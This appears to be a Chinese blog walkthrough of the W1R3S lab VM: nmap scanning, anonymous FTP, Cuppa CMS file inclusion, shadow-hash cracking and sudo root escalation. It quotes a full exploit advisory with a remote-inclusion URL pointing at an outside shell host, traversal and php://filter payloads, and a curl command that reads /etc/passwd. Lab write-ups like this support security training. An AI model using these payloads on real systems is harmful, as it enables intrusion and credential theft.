首页 > 其他分享 >W1R3S靶机

W1R3S靶机

时间:2024-07-30 11:10:18浏览次数:6  
标签:http .. nmap 端口 192.168 靶机 php W1R3S

w1r3s

引言

近些日子看红笔大佬的靶机精讲视频时,他的一句话让我感受颇深,很多视频在讲解时,直接告诉你应该这么想,不应该那么想,但是其实在我们自己实战中,到底怎么才能辨认出什么信息是有用的?我们不应该是去刻意记忆在某个渗透过程中的特定信息,而是仔细去分析,并在一次次的渗透经历中摸索经验,并不断尝试,在若干信息中突围

主机发现

先ping一下kali的ip

主机扫描

sudo nmap -sn 192.168.236.0/24

用-sn参数,(root下)发送arp请求(数据链路层的数据包),若果是非root用户,则会发送tcp和icmp包。进行轻量级的侦察,得到活动的主机ip而不容易引起注意,有时候arp请求不会被所有主机响应,我们就可以通过icmp时间戳请求来进行主机发现(--send-ip)

另外顺道一提,红队笔记大佬说道,不建议在渗透过程中使用kali的root权限,还是用普通用户更好,需要root的时候sudo即可,在进行扫描阶段的许多nmap指令都是需要root权限的,因此我就直接用root了,大家不要模仿!**更规范的方式是每次都sudo**。

启动靶机前后,这个ip是新增的192.168.236.131

由nmap的扫描结果可发现靶机的地址为192.168.200.139 。实际测试过程中,**应当在靶机上线之前进行一次扫描,靶机上线之后再扫描一次,对比发现上线的主机,更方便确认靶机的ip**。下一步即针对这个ip进行端口扫描。

端口扫描

tcp端口扫描

已经拿到靶机的ip了,那我们下一步就是用nmap对这个ip进行端口扫描,看看开放了哪些端口和服务。命令如下:

nmap -sT nmap –min-rate 10000 –p- 192.168.236.131 -oA nmapscan/ports

参数说明

默认值:-sS

利用tcp协议的SYN标志位来探测目标主机的开放端口,发送一个SYN包,只建立第一步链接

这里指定-sT

发送完整的tcp三次握手请求,准确率更高,但流量和速度指标要求较高,还能够防止某些主机waf过滤了单个SYN包的情况

nmap –min-rate 10000

10000是一个合理的速率,红队行动中会更慢

–p-

-p是默认1000个端口

指定-是扫描所有65535个端口

如果端口太多,手动一个一个输不够优雅,将开放的端口号提取出来并赋给ports这个变量,使用时只需要输入$port然后按下Tab补全

ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')

nmap -sT -sV -sC -O -p21,22,80,3306 192.168.236.131 -oA nmapscan/portdetail

参数说明

-sT 指定tcp扫描 发送tcp三次握手

-sV 探测端口服务及版本

-sC 默认脚本目录

-O 探测操作系统

扫描结果

 Nmap 7.94 scan initiated Mon Jul 29 11:08:13 2024 as: nmap -sT -sV -sC -O -p21,22,80,3306 -oA nmapscan/portdetail 192.168.236.131
Nmap scan report for 192.168.236.131
Host is up (0.00030s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 content
| drwxr-xr-x    2 ftp      ftp          4096 Jan 23  2018 docs
|_drwxr-xr-x    2 ftp      ftp          4096 Jan 28  2018 new-employees
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.236.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
|   256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_  256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: 00:0C:29:4B:A9:49 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (94%), Linux 3.13 - 3.16 (93%), Linux 4.10 (93%), Linux 3.4 - 3.10 (93%), Linux 4.4 (92%), Linux 3.10 (92%), Linux 3.16 - 4.6 (91%), Linux 2.6.32 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 29 11:08:33 2024 -- 1 IP address (1 host up) scanned in 20.10 seconds

UDP扫描

sudo nmap -sU --top-ports 20 192.168.236.131 -oA nmapscan/udp

参数说明

-sU 指定udp扫描

--top-ports 20 指定常用默认20个端口

nmap -sU -p21,22,80,3306 192.168.236.131

UDP扫描结果如上图,结果表明3306端口关闭,其他三个端口是开放/被过滤状态

漏洞扫描

nmap -script=vuln -p21,22,80,3306 192.168.236.131 -oA nmapscan/vuln

然后我们再使用nmap中自带的脚本vuln进行漏洞扫描。nmap里面的脚本会对端口的历史常见漏洞进行扫描探测,如果这一步就能发现可利用的漏洞,对后续的操作会很有启发。 --script=vuln表示使用脚本vuln进行扫描,vuln是vulnrability的缩写,这个脚本也会更新,不断加入新的漏洞检测。

攻击面分析

一共有四个端口:21,22,80,3306。

(1)**80**端口是http的web端口,且已经知道里面可能有wordpress的cms,具有较大的攻击面。这应该是最有可能的突破口

(2)22是ssh远程登录端口,通常没啥漏洞,但是也不绝对,有可能存在弱口令或者暴力破解登录啥的,但这不是我们直接入手的角度,应该放在最后考虑。

(3)21端口是ftp文件传输协议的端口,有可能存在**匿名登录**,FTP服务器中也可能有一些信息,也有一定的攻击面。FTP的突破口比较单一,操作比较容易。

(4)3306端口是MySQL数据库的端口,前面漏洞扫描也并没有发现太多的思路,不过如果能登录数据库,应该也有信息。

综上,80端口是最有可能的突破口,但是由于FTP可能存在匿名登录,21端口的操作比较容易,我们不妨先试试21端口,再看80端口,接着看3306数据库,最后尝试22远程登录。

FTP渗透

匿名登录

ftp 192.168.236.131
匿名登录:
username:anonymous
password:空

成功登陆后将里面的文件都下载

cd content
mget 0*.txt
...
cat 02.txt 

01ec2d8fc11c493b25029fb1f47f39ce

hash-identifier查询得到是md5,再去在线解密

SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==

明文It is easy, but not that easy..

用于解密字符串上下前后翻转的在线网站

[Upside Down Text | Flip Text, Type Upside Down, or Backwards Text](https://www.upsidedowntext.com/)

ı qoυˎʇ ʇɥıυʞ ʇɥıƨ ıƨ ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

ı boυˎt thıυk thıƨ ıƨ the way to root! 密文

punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

**we have a ןot of work to do‘ stop pןayıng around ** 密文

cat employee-names.txt
拿到公司员工信息,用户名&职务

[ascii generator生成ASCII艺术字体](https://www.patorjk.com/software/taag/#p=display&f=Graffiti&t=%0A)

web渗透

直接访问http://192.168.236.131/能看到ubantu操作系统apache搭建服务的默认页,这个页面可能隐藏了一些开发人员留下的信息,需要我们浏览一遍,再审计一下源代码,发现没有什么有用的信息,进行下一步目录爆破

目录爆破

这里爆出了这几个目录

/wordpress/wp-login.php

/administrator/ -> installation/

/javascript

先访问/javascript试试,发现无权限进行访问

/wordpress访问后返回本地localhost,估计没戏

访问/administrator,得到一个installation界面

这里暴露了cms是cuppa,这是一个cms框架的安装页面,显示了需要的环境版本等信息,这里只有一个next交互按键,红笔大佬说,我们每一步的操作都需要谨慎,考虑是否会影响正常服务器的运行,操作是否会被上报给管理员,在我们对渗透操作进行充分评估后,我们选择点击next

填写完信息后,点击next提示创建成功,但Administrator创建失败

cuppa cms文件包含漏洞getshell

这里不再尝试,可能会存在sql注入等漏洞,先用searchsploit搜索一下cuppa cms是否有漏洞,照理来说,只要是有人使用的cms框架,就应该会或多或少存在漏洞

这里找到了一个远程文件包含漏洞,我们把这个25971.txt下载下来看看怎么利用 :

searchsploit cuppa -m 25971.txt   //-m指mirro,镜像拉取

25971.txt文件内容

# Exploit Title   : Cuppa CMS File Inclusion
# Date            : 4 June 2013   //2013年的一个很老的洞
# Exploit Author  : CWH Underground
# Site            : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/    //官网
# Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip  //软件链接
# Version         : Beta
# Tested on       : Window and Linux   //只要使用了cuppa这个cms,对于window和linux机器都适用

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /
  / XXXXXX /
 (________(
  `------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/alerts/alertConfigField.php (LINE: 22)

-----------------------------------------------------------------------------
LINE 22:
        <?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION  //描述
#####################################################

An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
攻击者可能包含带有此漏洞的本地或远程PHP文件或读取非PHP文件。在创建将包含在当前文件中的文件名时使用用户污染数据。该文件中的PHP代码将被计算,非PHP代码将嵌入到输出中。此漏洞可能导致整个服务器被破坏。

http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]

#####################################################
EXPLOIT   //漏洞利用
#####################################################

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream

For Example:   //例子
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------
 
Base64 Encode Output:    //base64编码的输出
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------

Base64 Decode Output:   //base64编码再解码的输出
-----------------------------------------------------------------------------
<?php
        class Configuration{
                public $host = "localhost";
                public $db = "cuppa";
                public $user = "root";
                public $password = "Db@dmin";
                public $table_prefix = "cu_";
                public $administrator_template = "default";
                public $list_limit = 25;
                public $token = "OBqIPqlFWf3X";
                public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
                public $upload_default_path = "media/uploadsFiles";
                public $maximum_file_size = "5242880";
                public $secure_login = 0;
                public $secure_login_value = "";
                public $secure_login_redirect = "";
        }
?>
-----------------------------------------------------------------------------

Able to read sensitive information via File Inclusion (PHP Stream)

################################################################################################################
 Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################ 

我们尝试用http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd去访问一下,将里面的target换成靶机ip

发现并没有回显

这里只能重新构造一下我们的payload,只能去试错

将cuppa根目录改为administrator试一下http://target/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd发现网页有反应了 ,但还是没有有用的信息

这时只能去进行代码审计,去cms官方github找到alertConfigField.php

[CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS · GitHub](https://github.com/CuppaCMS/CuppaCMS/blob/master/alerts/alertConfigField.php)

进行代码审计,发现urlConfig是以post方式接受的

使用curl工具进行发包curl --help all | grep url查看指令帮助

可以看到--data-urlencode 这个参数使用POST传参并url编码

kali执行命令

curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd'http://192.168.236.131/administrator/alerts/alertConfigField.php

将带有hash值的拿出来用john解密

www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

vim shadow.hash

命令行模式的命令

命令 说明

:q! 强制退出vim,不保存

:q 退出vim

:wq! 强制保存并退出vim

:w <文件路径> 另存为

:saveas <文件路径> 另存为

:x 保存并退出vim

:wq 保存并退出vim

:set nu 显示行号

:set shiftwidth=10 设置缩进为10个字符,以此类推(输入Esc回到普通模式,再次尝试>>看缩进是否变化)

:ce(center) 本行内容居中

:ri(right) 本行内容居右

:le(left) 本行内容居左

破解出来两个账户的密码

尝试ssh连接,输入密码

成功登录

id指令看到w1r3s用户是有sudo权限的

提权

看是否能提权sudo -l ,输入密码

(ALL :ALL)ALL表示这个用户基本就等于root,拥有所有权限

直接sudo /bin/bash 启动一个新的bash会话,提权成功

标签:http,..,nmap,端口,192.168,靶机,php,W1R3S
From: https://www.cnblogs.com/Sol9/p/18331900

相关文章

  • De-ICE靶机
    getshell主机发现 arp-scan-l端口目录扫描,目录没有扫出来有利信息,查看端口,开放21,22端口,留意一下访问主页http://192.168.1.120/products.php?id=63 id处存在sql注入获取数据库下的账号密码sqlmap-uhttp://192.168.1.120/products.php?id=1-Dmysql--users......
  • 【Vulnhub靶机之Hackme】
     第一步:打开靶机 第二步:查看虚拟靶机ip、第三步:查看连接80端口的ip第四步:扫描出靶机的ip地址第五步:扫描靶机地址下的目录访问login.php目录点击注册点击,可以看到许多的书名 第六步:使用burpsuite抓包在111后面加*号保存抓到的文件为post.txt第七步:使用......
  • 【Vulnhub靶机tomato渗透】
    第一步:端口扫描我使用的是webrobot访问这个ip,就是它了 第二步:目录扫描打开kali使用dirb命令扫描http://192.168.189.154下的目录dirbhttp://192.168.189.154扫描到目录。第三步:访问目录地址看到有几个php的文件第四步:查看访问php的文件我查看的antibot.php是......
  • tomato-靶机渗透
    tomato-靶机一、安装靶机环境下载双击.ova文件,写文件名路径导入打开虚拟机用NAT模式编辑–>虚拟网络编辑器查看IP段二、信息收集1.御剑端口扫描查找该虚拟机的IP访问网站扫目录dirbhttp://192.168.30.130收集到目录/server-status/antibot_image//ind......
  • hackme-1靶机
    目录扫描发现该网址存放上传文件注册一个账户,点击搜索验证是否存在sql注入漏洞WindowsOS'and1=1#WindowsOS'and1=2#存在sql注入漏洞 判断列数WindowsOS'orderby3#WindowsOS'orderby4#所以,有3列;判断回显位置-1'unionselect1,2,3#查看当......
  • Tomato靶机
    Tomato靶机对通网段进行主机发现:分别进行目录扫描:进行访问:发现有弹窗尝试抓包,发现没有任何参数,也不能进行爆破查找资料发现8080端口存在可访问的目录,一个一个点进去发现phpinfo文件查看源码有文件包含漏洞,且参数为flie尝试访问etc/passwd对此ip进行全端口扫描......
  • DC-2靶机详解
    DC-2信息搜集IP探测netdiscover-r192.168.179.0/24得到ip为192.168.179.133。端口探测先看开放了哪些端口。nmap-sT--min-rate10000-p-192.168.179.133有个7744不知道什么玩意儿。nmap两步走(udp不用扫了,没攻击思路了再说),详细端口扫描nmap-sT-sV......
  • 关于kali扫描不到靶机的解决方法
    关于kali扫描不到靶机的解决方法前情提要这里使用的都是VMware,因为Vulnhub的靶场都是适配于VirtualBox,因此在使用VMware开启Vulnhub的靶场的时候,靶机大概率会出现获取不到IP地址的情况,因此我们需要修改一些配置,来使得靶机可以获取IP地址。前提在开始之前我们首先要确保攻击......
  • DC-1靶机渗透
    DC-1环境搭建访问https://vulnhub.com,然后搜索DC,点入后可以看到对靶机的介绍下载镜像文件。用VM打开,把网络模式改为nat模式。然后开启虚拟机。靶机渗透信息搜集IP探测先查看靶机ip是什么,arp-scan,nmap都行arp-scan-lnmap-sn192.168.179.0/24#探测主机......
  • 【OSCP系列】OSCP靶机-driftingblues7_vh(原创)
    【OSCP系列】OSCP靶机—driftingblues7_vh原文转载已经过授权原文链接:Lusen的小窝-学无止尽,不进则退(lusensec.github.io)一、主机发现二、端口扫描1、快速扫描2、全端口扫描3、版本系统探测66端口是个python开放的http服务,80端口是http服务,但是重定向到了44......